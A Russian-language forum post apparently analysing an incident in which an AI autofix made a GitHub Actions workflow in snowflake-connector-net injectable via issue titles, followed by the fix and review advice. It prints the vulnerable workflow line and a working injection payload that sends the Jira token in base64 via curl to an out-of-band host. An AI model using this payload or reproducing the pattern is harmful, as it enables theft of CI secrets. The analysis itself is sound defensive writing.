История короткая и неприятная. 18 июня 2026 года в публичный репозиторий snowflakedb/snowflake-connector-net был смержен пулл-реквест #1218 — рутинный, «обновляем Jira-воркфлоу, кода не касаемся». В списке соавторов коммита значится Copilot Autofix powered by AI. Через пять дней исследователи Wiz забрали из этого репозитория рабочий API-токен Jira, отправив в трекер issue с определённым заголовком.
Разбираем по коммитам — благо всё лежит открыто и проверяется руками.
Что именно изменилось
До правки файл .github/workflows/jira_issue.yml собирал JSON для Jira по-нормальному: заголовок issue попадал в переменную окружения, а jq формировал payload с параметром --arg, который сам занимается экранированием.
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...
После правки логика стала такой:
run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
Разница фундаментальная, хотя визуально мелкая. Конструкция ${{ … }} в GitHub Actions — не переменная шелла, а шаблонизатор, который подставляет значение в текст скрипта до его запуска. То есть sed работает уже после того, как заголовок стал частью команды. Экранировать что-либо на этом этапе поздно: одинарная кавычка внутри заголовка закрывает echo, и дальше в строке оказывается всё, что автор issue туда написал.
Никогда не подставляйте ${{ github.event.* }} напрямую в тело run:. Всё, что приходит от пользователя, — заголовки и тела issue, имена веток, комментарии, названия PR — прокидывается только через env: и читается как обычная шелл-переменная в кавычках.
Почему не сработал второй предохранитель
В воркфлоу была проверка, которая по замыслу ограничивала запуск — условие на github.event.pull_request.user.login. Проблема в том, что воркфлоу срабатывает на событии issues: opened, а у этого события объекта pull_request вообще нет. Обращение к полю несуществующего объекта даёт пустое значение, условие складывается в «истину», и шаг выполняется всегда.
Классическая ловушка: защита, написанная для одного триггера, механически перенесённая на другой.
Хронология
Пять дней — это окно, в течение которого воркфлоу с секретом JIRA_API_TOKEN в окружении реагировал на issue, открытый любым человеком в интернете.
Как это забрали
Первая попытка эксплуатации, по описанию Wiz, не сработала: комментарий через # не закрывал конструкцию так, как нужно. Рабочим оказался вариант, который аккуратно закрывает кавычку, выполняет свою команду и открывает кавычку обратно, чтобы остаток строки не сломал парсинг:
' ; curl -s "https://<поддомен>.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '
Токен ушёл в base64 через внешний домен для out-of-band-подтверждения. Дальше он аутентифицировался в snowflakecomputing.atlassian.net как qa@snowflake.net и давал доступ на чтение к инженерным проектам, проектам по комплаенсу и bug bounty.
Починили в тот же день, 23 июня: коммит 1dc7766 в PR #1402 вернул переменные ISSUE_TITLE, ISSUE_BODY, ISSUE_URL в блок env: и сборку JSON через jq -n --arg. Токен отозвали 24 июня. CVE не присваивался — это не уязвимость продукта, это дефект конфигурации CI конкретного репозитория.
Важная оговорка про источник. Red Agent — собственная разработка Wiz, и текст, где он «сам нашёл и сам проэксплуатировал», работает в том числе как реклама продукта. Проверяемая часть истории — коммиты, даты и содержимое диффов: они публичны, я их сверил в репозитории. Всё, что касается автономности агента, остаётся заявлением вендора.
Что из этого следует, если ИИ правит ваш код
Здесь интересна не столько сама инъекция — этому классу багов лет пятнадцать — сколько направление правки. Инструмент, задача которого «чинить безопасность», заменил корректный шаблон на некорректный, и человек, ревьюивший PR с описанием «CI yml adjustment, no code changes», это пропустил.
Три практических вывода, которые применимы к любому репозиторию с агентом в контуре:
Диффы воркфлоу — не «конфиг», а код с доступом к секретам. Строка в .github/workflows/ может стоить дороже, чем сотня строк в бизнес-логике. Правило «PR только по CI ревьюим быстро» стоит отменить.
Проверяйте направление изменения, а не только результат. Полезный вопрос к любому автофиксу: что здесь было раньше и почему? Замена jq --arg на sed — это откат к худшему варианту, и такое видно только при взгляде на «до».
Ставьте автоматику на сам класс проблемы. Инъекции через ${{ }} детектируются статически. Минимум — прогонять actionlint и zizmor в CI, чтобы про такие подстановки узнавал робот, а не исследователь.
Быстрый чек-лист по своим воркфлоу
grep -rn '\${{ github.event' .github/workflows/— глазами посмотреть каждое попадание внутриrun:.- Триггеры
issues,issue_comment,pull_request_target,discussion— все считаются недоверенным вводом. - Секреты не должны попадать в шаги, которые обрабатывают пользовательский текст.
- Условия
if:проверить на соответствие фактическому триггеру: поля чужого события молча дают пусто. - Токены интеграций — минимальные права и ротация по расписанию, а не «когда утечёт».
Автофикс, сгенерированный моделью, — это предложение, а не патч от эксперта. Вес ему придаёт только ревью, а ревью работает лишь тогда, когда смотрят на «было → стало», а не на «выглядит разумно».
По теме на форуме
- Агент в режиме «разрешаю всё»: контейнер, microVM или отдельная машина
- Orca: полное руководство по агентной IDE — worktree, ревью, Design Mode, CLI и удалённые режимы
Источники
- Wiz Research — разбор цепочки эксплуатации
- PR #1218 в snowflakedb/snowflake-connector-net
- Коммит 1dc7766 — исправление воркфлоу
- PR #1402 — тот же фикс в виде пулл-реквеста
У кого в репозиториях уже включён Copilot Autofix или похожий агент — вы ревьюите его правки так же придирчиво, как правки коллеги, или по факту жмёте «мержить» быстрее? И гоняет ли кто-нибудь actionlint/zizmor на своих воркфлоу — ловили ли они у вас что-то реальное?

